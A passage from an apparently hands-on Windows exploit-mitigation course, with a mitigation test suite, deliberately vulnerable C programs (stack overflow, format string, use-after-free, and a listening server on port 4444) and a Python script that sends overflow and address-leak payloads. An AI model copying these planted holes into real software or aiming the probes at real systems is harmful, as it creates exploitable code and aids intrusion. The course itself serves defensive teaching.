separately\\n\");\n    printf(\"[*] Expected exit code: 0x80000003 (STATUS_BREAKPOINT via __fastfail)\\n\");\n    printf(\"[*] NOTE: \u002FGS cookie failure = 0xC0000409, CFG failure = 0x80000003\\n\");\n    printf(\"[*]       They use different __fastfail subcodes but same mechanism\\n\");\n    fflush(stdout);\n}\n\n\u002F\u002F Test 4: Heap Cookie (may or may not be catchable depending on failure mode)\nvoid test_heap_protection() {\n    printf(\"\\n=== Testing Heap Protection ===\\n\");\n    printf(\"[*] NOTE: Modern heap (Segment Heap) may not place chunks adjacently\\n\");\n    fflush(stdout);\n\n    __try {\n        char *chunk1 = (char*)HeapAlloc(GetProcessHeap(), 0, 64);\n        char *chunk2 = (char*)HeapAlloc(GetProcessHeap(), 0, 64);\n\n        printf(\"[*] chunk1=%p, chunk2=%p, gap=%lld\\n\",\n               chunk1, chunk2, (long long)(chunk2-chunk1));\n        fflush(stdout);\n\n        \u002F\u002F Overflow - may or may not corrupt chunk2 depending on allocator\n        memset(chunk1, 'A', 128);\n\n        \u002F\u002F Free may detect corruption (or may not, depending on heap layout)\n        HeapFree(GetProcessHeap(), 0, chunk2);\n        HeapFree(GetProcessHeap(), 0, chunk1);\n\n        printf(\"[?] Heap test completed - corruption may not be adjacent\\n\");\n        printf(\"    Use 'gflags \u002Fp \u002Fenable \u003Cexe> \u002Ffull' for guaranteed detection\\n\");\n    } __except(EXCEPTION_EXECUTE_HANDLER) {\n        printf(\"[+] Heap Protection OK: Corruption detected\\n\");\n    }\n    fflush(stdout);\n}\n\nint main(int argc, char** argv) {\n    \u002F\u002F Allow running individual tests that will crash\n    if (argc > 1) {\n        if (strcmp(argv[1], \"--cookie\") == 0) {\n            test_stack_cookie_inner();  \u002F\u002F Will __fastfail -> exit 0xC0000409\n            return 0;\n        }\n        if (strcmp(argv[1], \"--cfg\") == 0) {\n            test_cfg_inner();  \u002F\u002F Will __fastfail -> exit 0x80000003\n            return 0;\n        }\n    }\n\n    printf(\"=== Windows Mitigation Test Suite ===\\n\");\n    printf(\"This tests each protection mechanism.\\n\");\n    printf(\"\\nIMPORTANT: \u002FGS and CFG use __fastfail() which bypasses SEH!\\n\");\n    printf(\"To test those, run with --cookie or --cfg flags separately.\\n\");\n    fflush(stdout);\n\n    test_dep();\n    test_stack_cookie();  \u002F\u002F Just prints instructions\n    test_cfg();           \u002F\u002F Just prints instructions\n    test_heap_protection();\n\n    printf(\"\\n=== Partial Test Suite Complete ===\\n\");\n    printf(\"\\nTo fully test \u002FGS and CFG, run:\\n\");\n    printf(\"  .\\\\mitigation_test_suite.exe --cookie\\n\");\n    printf(\"    Expected exit: 0xC0000409 (STATUS_STACK_BUFFER_OVERRUN)\\n\");\n    printf(\"  .\\\\mitigation_test_suite.exe --cfg\\n\");\n    printf(\"    Expected exit: 0x80000003 (STATUS_BREAKPOINT via __fastfail)\\n\");\n    fflush(stdout);\n\n    return 0;\n}\n```\n\n**Compile Test Suite**:\n\n```bash\n# Save to C:\\Windows_Mitigations_Lab\\src\\mitigation_test_suite.c\ncd C:\\Windows_Mitigations_Lab\n\n# Compile with ALL protections enabled\ncl \u002FGS \u002FZi \u002Fguard:cf src\\mitigation_test_suite.c \u002FFe:bin\\mitigation_test_suite.exe \u002Flink \u002FNXCOMPAT \u002FDYNAMICBASE \u002Fguard:cf \u002FDEBUG\n\n# Run main test suite (DEP + heap tests in-process)\n.\\bin\\mitigation_test_suite.exe\n\n# Run cookie test separately (process will terminate)\n.\\bin\\mitigation_test_suite.exe --cookie\necho Exit code: %errorlevel%\n# Expected: 0xC0000409 (-1073740791 decimal)\n\n# Run CFG test separately (process will terminate)\n.\\bin\\mitigation_test_suite.exe --cfg\necho Exit code: %errorlevel%\n# Expected: 0x80000003 (-2147483645 decimal) OR 0xC0000409 (-1073740791 decimal)\n# NOTE: Exit code varies by Windows version and WER (Windows Error Reporting) settings\n#       - Older Windows: CFG uses __fastfail(10) -> int 0x29 -> exit 0x80000003\n#       - Newer Windows: Both \u002FGS and CFG may exit with 0xC0000409 (STATUS_STACK_BUFFER_OVERRUN)\n#       - The important part: Process terminates immediately, cannot be caught by SEH\n```\n\n### Practical Exercise\n\n#### Task 1: Mitigation Blocking Demo\n\n**Test Binary**: Use this vulnerable code to test each mitigation:\n\n```c\n\u002F\u002F mitigation_demo.c - Vulnerable to multiple attack types\n\u002F\u002F Compile WITHOUT protections first, then WITH to compare\n\u002F\u002F\n\u002F\u002F NO PROTECTIONS: cl \u002FGS- mitigation_demo.c \u002Flink \u002FNXCOMPAT:NO \u002FDYNAMICBASE:NO\n\u002F\u002F WITH PROTECTIONS: cl \u002FGS \u002Fguard:cf mitigation_demo.c \u002Flink \u002FNXCOMPAT \u002FDYNAMICBASE \u002Fguard:cf\n\n#include \u003Cwindows.h>\n#include \u003Cstdio.h>\n#include \u003Cstring.h>\n\n\u002F\u002F Vulnerability 1: Stack buffer overflow (tests DEP + Stack Cookies)\nvoid vuln_stack(const char* input) {\n    char buffer[64];\n    strcpy(buffer, input);  \u002F\u002F No bounds check!\n    printf(\"Copied: %s\\n\", buffer);\n}\n\n\u002F\u002F Vulnerability 2: Function pointer hijack (tests CFG)\ntypedef void (*callback_t)(void);\nvoid safe_func() { printf(\"Safe function called\\n\"); fflush(stdout); }\nvoid evil_func() {\n    printf(\"HIJACKED! Function pointer redirected to evil_func.\\n\");\n    printf(\"NOTE: CFG ALLOWS this because evil_func IS a valid function.\\n\");\n    printf(\"CFG only blocks calls to non-function addresses (shellcode\u002FROP).\\n\");\n    fflush(stdout);\n}\n\nstruct target {\n    char data[64];\n    callback_t cb;\n};\n\nvoid vuln_cfg(const char* input) {\n    struct target t;\n    t.cb = safe_func;\n    strcpy(t.data, input);  \u002F\u002F Can overflow into cb pointer\n    fflush(stdout);\n    t.cb();  \u002F\u002F CFG checks if target is valid\n    \u002F\u002F If overflow redirects to evil_func: CFG ALLOWS (valid function)\n    \u002F\u002F If overflow redirects to arbitrary address: CFG BLOCKS\n}\n\n\u002F\u002F Vulnerability 3: Format string (tests ASLR effectiveness)\nvoid vuln_format(const char* input) {\n    printf(input);  \u002F\u002F Direct format string\n    printf(\"\\n\");\n}\n\nint main(int argc, char* argv[]) {\n    if (argc \u003C 3) {\n        printf(\"Usage: %s \u003Cstack|cfg|format> \u003Cinput>\\n\", argv[0]);\n        return 1;\n    }\n\n    if (strcmp(argv[1], \"stack\") == 0) vuln_stack(argv[2]);\n    else if (strcmp(argv[1], \"cfg\") == 0) vuln_cfg(argv[2]);\n    else if (strcmp(argv[1], \"format\") == 0) vuln_format(argv[2]);\n\n    return 0;\n}\n```\n\n**Pwntools-Style Exploit Testing Script**:\n\n```python\n#!\u002Fusr\u002Fbin\u002Fenv python3\n# mitigation_test_exploit.py - Test exploits against mitigations\n# Run against both unprotected and protected binaries\n\nimport subprocess\nimport struct\nimport sys\n\ndef test_dep_bypass(binary):\n    \"\"\"Attempt shellcode execution - DEP should block\"\"\"\n    print(\"\\n\" + \"=\"*50)\n    print(\"[TEST 1] DEP - Shellcode Execution\")\n    print(\"=\"*50)\n\n    # Large overflow to ensure we hit the return address\u002Fcookie\n    # Use printable characters to avoid string termination issues\n    payload = \"A\" * 200\n\n    try:\n        result = subprocess.run([binary, \"stack\", payload],\n                               capture_output=True, timeout=5)\n\n        exit_code = result.returncode & 0xFFFFFFFF if result.returncode \u003C 0 else result.returncode\n\n        if exit_code == 0xC0000409 or result.returncode == -1073740791:  # Stack buffer overrun\n            print(\"[+] STACK COOKIE BLOCKED: Buffer overrun detected\")\n            print(f\"    Exit code: {hex(exit_code)} ({result.returncode})\")\n            return True\n        elif exit_code == 0xC0000005:  # Access violation\n            print(\"[+] DEP BLOCKED: Access violation (expected)\")\n            return True\n        elif result.returncode == 0:\n            print(\"[-] No crash detected - overflow may be too small\")\n            return False\n        else:\n            print(f\"[-] Unexpected result: {hex(exit_code)} ({result.returncode})\")\n            return False\n    except subprocess.TimeoutExpired:\n        print(\"[*] Process hung - possible infinite loop\")\n        return False\n    except Exception as e:\n        print(f\"[*] Exception: {e}\")\n        return False\n\ndef test_aslr_leak(binary):\n    \"\"\"Attempt to leak addresses - ASLR makes them unpredictable\"\"\"\n    print(\"\\n\" + \"=\"*50)\n    print(\"[TEST 2] ASLR - Address Leak Attempt\")\n    print(\"=\"*50)\n\n    # Format string to leak stack addresses\n    payload = \"%p.\" * 15\n\n    try:\n        result = subprocess.run([binary, \"format\", payload],\n                               capture_output=True, text=True, timeout=5)\n\n        leaks = result.stdout.split('.')\n        print(\"[*] Leaked addresses:\")\n\n        addresses = []\n        for leak in leaks:\n            if leak.startswith('0x') or leak.startswith('00'):\n                try:\n                    addr = int(leak, 16)\n                    if addr > 0x10000:\n                        addresses.append(addr)\n                        print(f\"    {hex(addr)}\")\n                except:\n                    pass\n\n        if len(addresses) > 0:\n            print(f\"\\n[*] Leaked {len(addresses)} addresses\")\n            print(\"[!] With ASLR, these addresses change each run\")\n            print(\"[*] Run again to verify randomization:\")\n            return True\n        else:\n            print(\"[-] No addresses leaked\")\n            return False\n    except Exception as e:\n        print(f\"[*] Exception: {e}\")\n        return False\n\ndef test_cfg_bypass(binary):\n    \"\"\"Attempt function pointer hijack - CFG should block\"\"\"\n    print(\"\\n\" + \"=\"*50)\n    print(\"[TEST 3] CFG - Function Pointer Hijack\")\n    print(\"=\"*50)\n\n    # Large overflow to ensure we corrupt the function pointer\n    # Use printable characters to avoid string termination\n    payload = \"A\" * 200\n\n    try:\n        result = subprocess.run([binary, \"cfg\", payload],\n                               capture_output=True, timeout=5)\n\n        exit_code = result.returncode & 0xFFFFFFFF if result.returncode \u003C 0 else result.returncode\n\n        if exit_code == 0x80000003 or result.returncode == -2147483645:  # STATUS_BREAKPOINT (__fastfail)\n            print(\"[+] CFG BLOCKED: __fastfail(10) -> exit 0x80000003\")\n            print(f\"    Exit code: {hex(exit_code)} ({result.returncode})\")\n            return True\n        elif exit_code == 0xC0000409 or result.returncode == -1073740791:  # \u002FGS cookie\n            print(\"[+] \u002FGS BLOCKED: Cookie corruption before CFG check\")\n            print(f\"    Exit code: {hex(exit_code)} ({result.returncode})\")\n            return True\n        elif exit_code == 0xC0000005:\n            print(\"[+] CRASHED: Access violation\")\n            print(f\"    Exit code: {hex(exit_code)} ({result.returncode})\")\n            return False\n        elif result.returncode == 0:\n            print(\"[-] No crash detected - overflow may be too small\")\n            return False\n        else:\n            print(f\"[-] Unexpected result: {hex(exit_code)} ({result.returncode})\")\n            return False\n    except subprocess.TimeoutExpired:\n        print(\"[*] Process hung - possible infinite loop\")\n        return False\n    except Exception as e:\n        print(f\"[*] Exception: {e}\")\n        return False\n\ndef run_all_tests(binary):\n    \"\"\"Run all mitigation tests\"\"\"\n    print(\"=\"*60)\n    print(f\"MITIGATION TEST SUITE - Target: {binary}\")\n    print(\"=\"*60)\n\n    results = {\n        \"DEP\": test_dep_bypass(binary),\n        \"ASLR\": test_aslr_leak(binary),\n        \"CFG\": test_cfg_bypass(binary)\n    }\n\n    print(\"\\n\" + \"=\"*60)\n    print(\"RESULTS SUMMARY\")\n    print(\"=\"*60)\n    for mitigation, blocked in results.items():\n        status = \"BLOCKED\" if blocked else \"BYPASSED\u002FUNKNOWN\"\n        color = \"+\" if blocked else \"-\"\n        print(f\"[{color}] {mitigation}: {status}\")\n\n    print(\"\\n[*] Compare results between:\")\n    print(\"    - Binary compiled WITHOUT protections\")\n    print(\"    - Binary compiled WITH protections\")\n    print(\"    - The difference shows mitigation effectiveness!\")\n\nif __name__ == \"__main__\":\n    if len(sys.argv) \u003C 2:\n        print(\"Usage: python mitigation_test_exploit.py \u003Cbinary>\")\n        print(\"Example: python mitigation_test_exploit.py mitigation_demo.exe\")\n        sys.exit(1)\n\n    run_all_tests(sys.argv[1])\n```\n\n**Compile and Test Instructions**:\n\n```bash\n# Save files\n# - mitigation_demo.c -> C:\\Windows_Mitigations_Lab\\src\\mitigation_demo.c\n# - mitigation_test_exploit.py -> C:\\Windows_Mitigations_Lab\\exploits\\mitigation_test_exploit.py\n\ncd C:\\Windows_Mitigations_Lab\n\n# Step 1: Compile WITHOUT protections (vulnerable baseline)\ncl \u002FGS- src\\mitigation_demo.c \u002FFe:bin\\mitigation_demo_unprotected.exe \u002Flink \u002FNXCOMPAT:NO \u002FDYNAMICBASE:NO\n# Flags explained:\n#   \u002FGS-           = Disable stack cookies\n#   \u002FNXCOMPAT:NO   = Disable DEP\n#   \u002FDYNAMICBASE:NO = Disable ASLR\n\n# Step 2: Compile WITH all protections\ncl \u002FGS \u002FZi \u002Fguard:cf src\\mitigation_demo.c \u002FFe:bin\\mitigation_demo_protected.exe \u002Flink \u002FNXCOMPAT \u002FDYNAMICBASE \u002Fguard:cf \u002FDEBUG\n# Flags explained:\n#   \u002FGS            = Enable stack cookies\n#   \u002Fguard:cf      = Enable CFG (compile-time)\n#   \u002FNXCOMPAT      = Enable DEP\n#   \u002FDYNAMICBASE   = Enable ASLR\n#   \u002Fguard:cf      = Enable CFG (link-time)\n\n# Step 3: Test unprotected binary (should be exploitable)\npython exploits\\mitigation_test_exploit.py bin\\mitigation_demo_unprotected.exe\n\n# Step 4: Test protected binary (mitigations should block)\npython exploits\\mitigation_test_exploit.py bin\\mitigation_demo_protected.exe\n\n# Step 5: Compare results\n# Unprotected: Exploits may succeed or crash without mitigation detection\n# Protected: Should see specific mitigation blocks (DEP, \u002FGS, CFG)\n\n# Manual testing examples:\n# Test stack overflow\n.\\bin\\mitigation_demo_protected.exe stack AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n\n# Test format string (leak addresses)\n.\\bin\\mitigation_demo_protected.exe format \"%p.%p.%p.%p.%p.%p.%p.%p\"\n\n# Test CFG (overflow function pointer)\n.\\bin\\mitigation_demo_protected.exe cfg AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n```\n\n**Testing CFG and \u002FGS Separately**:\n\nThe above tests show \u002FGS catching overflows before CFG is tested. To test them independently:\n\n```c\n\u002F\u002F cfg_isolated_test.c - Test CFG without \u002FGS interference\n\u002F\u002F Save to: C:\\Windows_Mitigations_Lab\\src\\cfg_isolated_test.c\n\n#include \u003Cwindows.h>\n#include \u003Cstdio.h>\n#include \u003Cstdlib.h>\n#include \u003Cstring.h>\n\ntypedef void (*callback_t)(void);\n\nvoid safe_function() {\n    printf(\"[*] Safe function called\\n\");\n}\n\nvoid evil_function() {\n    printf(\"[!] Evil function called (CFG allows - valid function)\\n\");\n}\n\nint main(int argc, char* argv[]) {\n    if (argc \u003C 2) {\n        printf(\"Usage: %s \u003Cvalid|invalid|overflow>\\n\", argv[0]);\n        return 1;\n    }\n\n    \u002F\u002F Allocate on heap to avoid \u002FGS stack cookies\n    callback_t* func_ptr = (callback_t*)malloc(sizeof(callback_t));\n    *func_ptr = safe_function;\n\n    if (strcmp(argv[1], \"valid\") == 0) {\n        \u002F\u002F Test 1: Call valid function (should work)\n        printf(\"[TEST] Calling valid function pointer\\n\");\n        (*func_ptr)();\n\n    } else if (strcmp(argv[1], \"invalid\") == 0) {\n        \u002F\u002F Test 2: Call invalid address (CFG should block)\n        printf(\"[TEST] Calling invalid address 0x41414141\\n\");\n        printf(\"[*] CFG should block this with __fastfail\\n\");\n        fflush(stdout);\n        *func_ptr = (callback_t)0x41414141;\n        (*func_ptr)();  \u002F\u002F CFG blocks here\n\n    } else if (strcmp(argv[1], \"overflow\") == 0) {\n        \u002F\u002F Test 3: Overflow to corrupt pointer (no \u002FGS on heap)\n        printf(\"[TEST] Heap overflow to corrupt function pointer\\n\");\n\n        \u002F\u002F Enable Low-Fragmentation Heap for tighter packing\n        HANDLE heap = GetProcessHeap();\n        ULONG heapFragValue = 2;\n        HeapSetInformation(heap, HeapCompatibilityInformation,\n                          &heapFragValue, sizeof(heapFragValue));\n\n        \u002F\u002F Prime the LFH by allocating many same-sized chunks\n        \u002F\u002F This activates LFH for this size class (64 bytes)\n        #define PRIME_COUNT 20\n        void* priming[PRIME_COUNT];\n        for (int i = 0; i \u003C PRIME_COUNT; i++) {\n            priming[i] = HeapAlloc(heap, 0, 64);\n        }\n\n        \u002F\u002F Free every other one to create holes\n        for (int i = 0; i \u003C PRIME_COUNT; i += 2) {\n            HeapFree(heap, 0, priming[i]);\n        }\n\n        \u002F\u002F Now allocate our target chunks - should fill the holes adjacently\n        char* buffer = (char*)HeapAlloc(heap, 0, 64);\n        callback_t* target = (callback_t*)HeapAlloc(heap, 0, 64);\n        *target = safe_function;\n\n        printf(\"[*] buffer=%p, target=%p, distance=%lld bytes\\n\",\n               buffer, target, (long long)((char*)target - buffer));\n\n        long long distance = (long long)((char*)target - buffer);\n        if (distance > 0 && distance \u003C= 128) {\n            printf(\"[+] Chunks are adjacent! Overflow will corrupt function pointer\\n\");\n        } else if (distance \u003C 0 && distance >= -128) {\n            printf(\"[!] Target is BEFORE buffer (distance=%lld)\\n\", distance);\n            printf(\"[*] Overflow won't reach it, but this shows heap layout\\n\");\n        } else {\n            printf(\"[!] Chunks not adjacent (distance=%lld bytes)\\n\", distance);\n            printf(\"[*] Modern heap security: randomization prevents reliable overflow\\n\");\n        }\n\n        \u002F\u002F Overflow buffer to corrupt target function pointer\n        \u002F\u002F Fill with pattern that creates invalid address (0x4141414141414141)\n        if (distance > 0 && distance \u003C= 128) {\n            printf(\"[*] Overflowing buffer to corrupt function pointer...\\n\");\n            memset(buffer, 0x41, distance + 8);  \u002F\u002F Overflow exactly to target\n        } else {\n            printf(\"[*] Attempting overflow anyway (for demonstration)...\\n\");\n            memset(buffer, 0x41, 128);\n        }\n\n        printf(\"[*] Calling function pointer (CFG will check validity)...\\n\");\n        fflush(stdout);\n        (*target)();  \u002F\u002F If corrupted to 0x4141..., CFG blocks with __fastfail\n\n        printf(\"[*] Function call succeeded - pointer was not corrupted\\n\");\n\n        \u002F\u002F Cleanup\n        HeapFree(heap, 0, buffer);\n        HeapFree(heap, 0, target);\n        for (int i = 1; i \u003C PRIME_COUNT; i += 2) {\n            HeapFree(heap, 0, priming[i]);\n        }\n    }\n\n    free(func_ptr);\n    return 0;\n}\n```\n\n```bash\n# Compile CFG-only test (no \u002FGS to avoid interference)\ncl \u002FGS- \u002FZi \u002Fguard:cf src\\cfg_isolated_test.c \u002FFe:bin\\cfg_isolated_test.exe \u002Flink \u002Fguard:cf \u002FDEBUG\n\n# Test 1: Valid function call (should work)\n.\\bin\\cfg_isolated_test.exe valid\n\n# Test 2: Invalid address (CFG should block)\n.\\bin\\cfg_isolated_test.exe invalid\necho Exit code: %errorlevel%\n# Expected: -1073740791 (0xC0000409) or -2147483645 (0x80000003)\n# CFG detected invalid function pointer and called __fastfail\n\n# Test 3: Heap overflow (corrupts adjacent function pointer)\n.\\bin\\cfg_isolated_test.exe overflow\necho Exit code: %errorlevel%\n# Expected behaviors:\n#   - If chunks adjacent: CFG blocks corrupted pointer -> exit -1073740791\n#   - If chunks not adjacent: Safe function called (no corruption)\n# Note: LFH packing is probabilistic - run multiple times if needed\n# You can also run in a loop to see CFG catch it:\nfor \u002FL %i in (1,1,10) do @(.\\bin\\cfg_isolated_test.exe overflow 2>nul && echo Run %i: No crash) || echo Run %i: CFG BLOCKED\n```\n\n```bash\n# Compile \u002FGS-only test (no CFG to avoid interference)\ncl \u002FGS \u002FZi src\\mitigation_demo.c \u002FFe:bin\\gs_isolated_test.exe \u002Flink \u002FNXCOMPAT \u002FDYNAMICBASE \u002FDEBUG\n\n# Test stack overflow (should trigger \u002FGS)\n.\\bin\\gs_isolated_test.exe stack AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\necho Exit code: %errorlevel%\n# Expected: -1073740791 (0xC0000409 - STATUS_STACK_BUFFER_OVERRUN)\n```\n\n### Task 2: Audit two systems and compare security postures\n\n1. **System A: Default Windows 10**\n   - Run mitigation audit script\n   - Document all findings\n   - Test binaries for protections\n\n2. **System B: Hardened Windows 11**\n   - Enable ALL mitigations:\n     - VBS + HVCI\n     - Credential Guard\n     - Exploit Protection policies\n     - CET (if supported)\n   - Run same audit\n   - Compare results\n\n3. **Binary Analysis**:\n   - Analyze 10 Windows binaries\n   - Check for all protections\n   - Document which lack protections\n\n4. **Exploit Testing**:\n   - Take Week 5 exploits\n   - Test against hardened system\n   - Document which protections block which exploits\n\n5. **Final Report**:\n\n   ```markdown\n   # Windows Security Audit Report\n\n   ## System Configuration\n\n   - OS Version:\n   - Patch Level:\n   - Hardware:\n\n   ## Mitigation Status\n\n   | Mitigation | Status | Notes               |\n   | ---------- | ------ | ------------------- |\n   | DEP        | +      | Opt-Out policy      |\n   | ASLR       | +      | High Entropy on x64 |\n   | CFG        | +      | System-wide         |\n   | CET        | -      | CPU not supported   |\n   | VBS        | +      | Running with HVCI   |\n   | Cred Guard | +      | Active              |\n\n   ## Binary Analysis Results\n\n   [List of 10 binaries with protection status]\n\n   ## Exploit Test Results\n\n   [Which Week 5 exploits were blocked]\n\n   ## Recommendations\n\n   [Steps to improve security posture]\n   ```\n\n**Success Criteria**:\n\n- Comprehensive audit completed\n- All mitigations tested\n- Binary analysis for 10+ executables\n- Week 5 exploits blocked\n- Professional security report generated\n\n### Discussion Questions\n\n1. **Why is \"Enforcement\" (Blocking) better than \"Audit\" (Logging), but harder to implement?**\n\n   > Enforcement prevents the attack in real-time. Audit only logs that it WOULD have\n   > been blocked — the attack still succeeds. But enforcement risks breaking legitimate\n   > applications. The safe approach: deploy in Audit mode first, analyze event logs\n   > (Event ID 3076) for false positives, then switch to Enforcement (Event ID 3077)\n   > after validating no business-critical apps are affected.\n\n2. **If you were a red teamer, which mitigation would annoy you the most?**\n\n   > CET (shadow stacks) — because it's hardware-enforced with no known generic bypass.\n   > CFG can be bypassed via valid-function redirects (proven in Day 2-3). ASLR can be\n   > defeated with info leaks. \u002FGS can be bypassed with info disclosure + partial\n   > overwrites (proven in Day 2). But CET has no \"allowed\" bypass case — you must\n   > abandon ROP entirely and pivot to data-only attacks.\n\n3. **How does the \"Assume Breach\" mentality relate to VBS\u002FCredential Guard?**\n   > \"Assume Breach\" means planning for the scenario where an attacker already has\n   > admin\u002FSYSTEM access. Without Credential Guard, SYSTEM can dump all domain\n   > credentials. With Credential Guard, even SYSTEM cannot access VTL 1 secrets.\n   > This limits lateral movement even after full compromise of a single machine.\n\n### Key Takeaways\n\n1. **Exit codes distinguish mitigations**: \u002FGS cookie failure = `0xC0000409`, CFG failure =\n   `0x80000003`, DEP violation = `0xC0000005`, heap corruption = `0xC0000374`. Knowing\n   these codes lets you identify WHICH mitigation blocked an exploit in crash analysis.\n2. **\\_\\_fastfail() bypasses SEH entirely**: Both \u002FGS and CFG use `__fastfail()` which\n   executes `int 0x29` — trapping directly to the kernel. No `__try\u002F__except` handler\n   can catch it. Test these mitigations as separate processes and check exit codes.\n3. **Audit tools are essential**: `dumpbin \u002Fheaders`, `BinSkim`, and `Get-ProcessMitigation`\n   reveal which binaries lack protections. A single unprotected DLL in your process can\n   be the entry point for an exploit.\n4. **CFG coarse-grained limitation persists in testing**: The mitigation_demo's `evil_func`\n   is a valid function entry point — CFG allows the call. Only calls to non-function\n   addresses (shellcode, ROP gadgets, `0x41414141`) are blocked.\n5. **System-wide policy overrides binary preferences**: Even if a binary was compiled\n   with `\u002FNXCOMPAT:NO`, system-level `Set-ProcessMitigation` can force DEP on. This is\n   how security teams protect legacy binaries without recompilation.\n6. **BinSkim is the modern replacement for BinScope**: BinSkim checks 15+ security rules\n   and integrates with CI\u002FCD via SARIF output. Use it as a build gate.\n7. **Windows 11 24H2 Hotpatching changes forensics**: Code pages in memory may not match\n   on-disk binaries after hotpatch application. This affects both defenders (memory\n   analysis) and attackers (persistence assumptions).\n\n## Day 7: Capstone Project - The Hardening Campaign\n\n- **Goal**: Apply all learned mitigations to secure a vulnerable \"legacy\" Windows 10 system against known exploits.\n- **Activities**:\n  - **Assess**: Audit the provided vulnerable VM (Week 5 environment).\n  - **Harden**: Enable DEP, ASLR, CFG, VBS, and HVCI.\n  - **Verify**: Run the \"Exploitation Gauntlet\" from Week 5 against the hardened system.\n  - **Report**: Document which exploits failed and why.\n\n### The Challenge: SecureServer v1.0\n\nYou are given the `vuln_server` from Week 5, running on a default Windows 10 install.\nYour Week 5 exploits (Stack Overflow, UAF) currently work.\n\n**Task**:\n\n1.  **Baseline**: Run `mitigation_audit.ps1` to confirm lack of protections.\n2.  **Recompile**: Rebuild `vuln_server` with `\u002FGS`, `\u002FNXCOMPAT`, `\u002FDYNAMICBASE`, `\u002Fguard:cf`, `\u002FHIGHENTROPYVA`.\n3.  **OS Hardening**: Enable VBS, HVCI, and system-wide DEP (Opt-Out).\n4.  **Attack**:\n    - Try `auth` exploit (Stack Overflow) -> Should fail (DEP or Stack Cookie).\n    - Try `note` exploit (UAF) -> Should fail (Segment Heap\u002FMemGC if enabled, or harder to exploit).\n    - Try `echo` exploit (Format String) -> ASLR should make addresses unpredictable.\n\n### Practical Exercise: Day 7 Capstone\n\n**Lab 7.1: Compile and Test Vulnerable Server**\n\n```c\n\u002F\u002F vuln_server_capstone.c - Week 5 server with multiple vulnerabilities\n\u002F\u002F Compile WITHOUT protections first:\n\u002F\u002F cl \u002FGS- \u002FZi \u002FD_CRT_SECURE_NO_WARNINGS src\\vuln_server_capstone.c \u002FFe:bin\\vuln_capstone_weak.exe \u002Flink \u002FNXCOMPAT:NO \u002FDYNAMICBASE:NO \u002FDEBUG\n\u002F\u002F Then WITH protections:\n\u002F\u002F cl \u002FGS \u002FZi \u002Fguard:cf \u002FD_CRT_SECURE_NO_WARNINGS src\\vuln_server_capstone.c \u002FFe:bin\\vuln_capstone_hard.exe \u002Flink \u002FNXCOMPAT \u002FDYNAMICBASE \u002FHIGHENTROPYVA \u002Fguard:cf \u002FDEBUG\n\n#include \u003Cwinsock2.h>\n#include \u003Cwindows.h>\n#include \u003Cstdio.h>\n#pragma comment(lib, \"ws2_32.lib\")\n\n#define PORT 4444\n#define BUFSIZE 1024  \u002F\u002F Large recv buffer to allow overflow payloads through\n\n\u002F\u002F Vulnerability 1: Stack overflow in auth handler\nvoid handle_auth(char* input) {\n    char password[64];\n    strcpy(password, input);  \u002F\u002F OVERFLOW!\n\n    if (strcmp(password, \"secret123\") == 0) {\n        printf(\"[+] Auth success\\n\");\n    } else {\n        printf(\"[-] Auth failed\\n\");\n    }\n    fflush(stdout);\n}\n\n\u002F\u002F Vulnerability 2: Format string\nvoid handle_log(char* input) {\n    printf(\"[LOG] \");\n    printf(input);  \u002F\u002F FORMAT STRING!\n    printf(\"\\n\");\n    fflush(stdout);\n    \u002F\u002F NOTE: On MSVCRT, %p prints bare hex (no 0x prefix)\n    \u002F\u002F and positional parameters (%N$x) are NOT supported\n}\n\n\u002F\u002F Vulnerability 3: Use-after-free simulation\ntypedef struct {\n    char data[64];\n    void (*callback)(void);\n} UserObj;\n\nUserObj* g_user = NULL;\n\nvoid safe_callback() { printf(\"[*] Safe callback\\n\"); fflush(stdout); }\nvoid admin_callback() { printf(\"[!] ADMIN ACCESS GRANTED\\n\"); fflush(stdout); }\n\nvoid handle_alloc() {\n    g_user = (UserObj*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(UserObj));\n    g_user->callback = safe_callback;\n    printf(\"[+] User allocated at %p\\n\", g_user);\n    fflush(stdout);\n}\n\nvoid handle_free() {\n    HeapFree(GetProcessHeap(), 0, g_user);\n    printf(\"[+] User freed (but pointer not nulled!)\\n\");\n    fflush(stdout);\n    \u002F\u002F NOTE: g_user is now a dangling pointer\n    \u002F\u002F The pointer is NOT set to NULL — use-after-free is possible\n}\n\nvoid handle_use(char* input) {\n    if (g_user) {\n        strcpy(g_user->data, input);\n        fflush(stdout);\n        g_user->callback();\n        \u002F\u002F With CFG: if callback was overwritten to a valid function\n        \u002F\u002F   (like admin_callback), CFG ALLOWS it (coarse-grained!)\n        \u002F\u002F With CFG: if callback was overwritten to shellcode address,\n        \u002F\u002F   CFG BLOCKS it with exit code 0x80000003\n    }\n}\n\nint main() {\n    WSADATA wsa;\n    SOCKET server, client;\n    struct sockaddr_in addr;\n    char buffer[BUFSIZE];\n\n    WSAStartup(MAKEWORD(2,2), &wsa);\n    server = socket(AF_INET, SOCK_STREAM, 0);\n\n    addr.sin_family = AF_INET;\n    addr.sin_addr.s_addr = INADDR_ANY;\n    addr.sin_port = htons(PORT);\n\n    bind(server, (struct sockaddr*)&addr, sizeof(addr));\n    listen(server, 1);\n\n    printf(\"[*] Capstone Server on port %d\\n\", PORT);\n    printf(\"[*] Commands: AUTH \u003Cpass>, LOG \u003Cmsg>, ALLOC, FREE, USE \u003Cdata>\\n\");\n    fflush(stdout);\n\n    while ((client = accept(server, NULL, NULL)) != INVALID_SOCKET) {\n        memset(buffer, 0, BUFSIZE);\n        recv(client, buffer, BUFSIZE-1, 0);\n\n        if (strncmp(buffer, \"AUTH \", 5) == 0) handle_auth(buffer+5);\n        else if (strncmp(buffer, \"LOG \", 4) == 0) handle_log(buffer+4);\n        else if (strncmp(buffer, \"ALLOC\", 5) == 0) handle_alloc();\n        else if (strncmp(buffer, \"FREE\", 4) == 0) handle_free();\n        else if (strncmp(buffer, \"USE \", 4) == 0) handle_use(buffer+4);\n\n        closesocket(client);\n    }\n\n    return 0;\n}\n```\n\n**Lab 7.2: Pwntools Exploit - Test Against Hardened 